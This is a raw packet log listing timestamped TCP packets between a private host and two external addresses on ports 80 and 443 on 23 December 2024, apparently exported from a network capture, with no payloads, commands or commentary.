Dec 23, 2024 17:16:12.415075064 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.415988922 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.416038990 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.416059971 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.416228056 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.417115927 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.417170048 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.417227030 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.417303085 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.418123007 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.418174028 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.418246031 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.418304920 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.419326067 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.419353962 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.419370890 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.419473886 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.420243025 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.420289040 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.420384884 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.420453072 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.421159983 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.421247959 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.421279907 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.421323061 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.422216892 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.422267914 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.422367096 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.422430038 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.423310995 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.423350096 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.423356056 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.423407078 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.424284935 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.424324989 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.424357891 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.424426079 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.425373077 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.425415993 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.425448895 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.425487041 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.426440954 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.426485062 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.426625967 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.426665068 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.427326918 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.427433968 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.427465916 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.427515984 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.428358078 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.428400040 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.428426981 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.428724051 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.429311991 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.429380894 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.429419994 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.429474115 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.430402040 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.430546999 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.430572033 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.430618048 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.431385040 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.431432962 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.431456089 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.431498051 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.432315111 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.432379961 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.432576895 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.432624102 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.433218956 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.433273077 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.433365107 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.433419943 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.434247971 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.434287071 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.434323072 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.434366941 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.435180902 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.435231924 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.435260057 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.435302019 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.436171055 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.436238050 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.436260939 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.436305046 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.437108994 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.437166929 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.437398911 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.437475920 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.438170910 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.438242912 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.438268900 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.438301086 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.439234972 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.439285994 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.439362049 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.439455032 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.440291882 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.440368891 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.440418959 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.440506935 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.441196918 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.441319942 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.441462040 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.441518068 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.442011118 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.442071915 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.442265034 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.442373991 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.443000078 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.443037033 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.443099022 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.443221092 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.443902969 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.443983078 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.444081068 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.444116116 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.445015907 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.445089102 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.445116043 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.445230961 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.446167946 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.446221113 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.446422100 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.446485043 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.447360992 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.447413921 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.447472095 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.447472095 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.448292971 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.448334932 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.448565006 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.448623896 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.449296951 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.449358940 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.449481964 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.449527025 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.450239897 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.450305939 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.450331926 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.450395107 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.451334000 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.451395035 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.482224941 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:13.541884899 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:13.542283058 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:13.661885023 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:13.661909103 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:13.661988020 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:13.661988020 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:13.697602987 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:13.818967104 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:14.475197077 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:14.475245953 CET	443	49712	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:14.475323915 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:14.478384018 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:14.478399992 CET	443	49712	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:14.997757912 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.000190020 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.001657009 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.121509075 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438556910 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438580990 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438591957 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438633919 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.438633919 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.438683033 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438694954 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438709021 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438721895 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438726902 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.438757896 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.438777924 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438813925 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.438813925 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.438848972 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.438889980 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.447005987 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.447062016 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.447072983 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.447132111 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.558440924 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.558509111 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.630634069 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.630661011 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.630733967 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.630733967 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.634442091 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.634488106 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.634601116 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.635330915 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.642647982 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.642708063 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.645581007 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.645652056 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.645711899 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.645752907 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.653747082 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.653789043 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.653806925 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.653858900 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.661957979 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.662012100 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.662029982 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.662074089 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.670084000 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.670182943 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.670202017 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.670262098 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.678206921 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.678276062 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.678468943 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.678524017 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.686537027 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.686592102 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.686594963 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.686633110 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.694550991 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.694602966 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.694622993 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.694679976 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.702301979 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.702363968 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.702406883 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.702406883 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.702986002 CET	443	49712	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:15.703048944 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:15.704688072 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:15.704696894 CET	443	49712	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:15.705827951 CET	443	49712	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:15.709852934 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.709914923 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.709969044 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.709969044 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.754395962 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:15.754427910 CET	49712	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:15.754859924 CET	443	49712	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:15.835445881 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.835458994 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.835582018 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.836823940 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.836865902 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.836905956 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.836905956 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.841644049 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.841701031 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.841876030 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.841936111 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.846503973 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.846517086 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.846563101 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.850446939 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.850493908 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.850523949 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.850611925 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.855138063 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.855199099 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.855235100 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.855235100 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.859754086 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.859821081 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.859858990 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.859908104 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.864356995 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.864475965 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.864568949 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.864654064 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.869122982 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.869204044 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.869251013 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.869324923 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.873574018 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.873625994 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.873682976 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.873765945 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.878130913 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.878201962 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.878257990 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.878354073 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.882793903 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.882849932 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.882870913 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.882894039 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.887828112 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.887896061 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.887921095 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.887964964 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.892744064 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.892801046 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.892832041 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.892951965 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.897953033 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.898011923 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.898113012 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.898150921 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.902174950 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.902230978 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.902244091 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.902309895 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.905888081 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.905937910 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.905982971 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.906038046 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.910590887 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.910604954 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.910667896 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.915566921 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.915580034 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.915636063 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.919756889 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.919838905 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.919895887 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.920197964 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.924453974 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.924525976 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.924547911 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.924595118 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.928949118 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.929016113 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.929086924 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.929133892 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:15.955317974 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:15.955440044 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.027420044 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.027468920 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.027527094 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.027555943 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.029565096 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.029630899 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.029750109 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.029830933 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.033700943 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.033755064 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.033787012 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.033808947 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.037623882 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.037700891 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.037725925 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.037770033 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.041574955 CET	80	49711	185.215.113.16	192.168.2.9
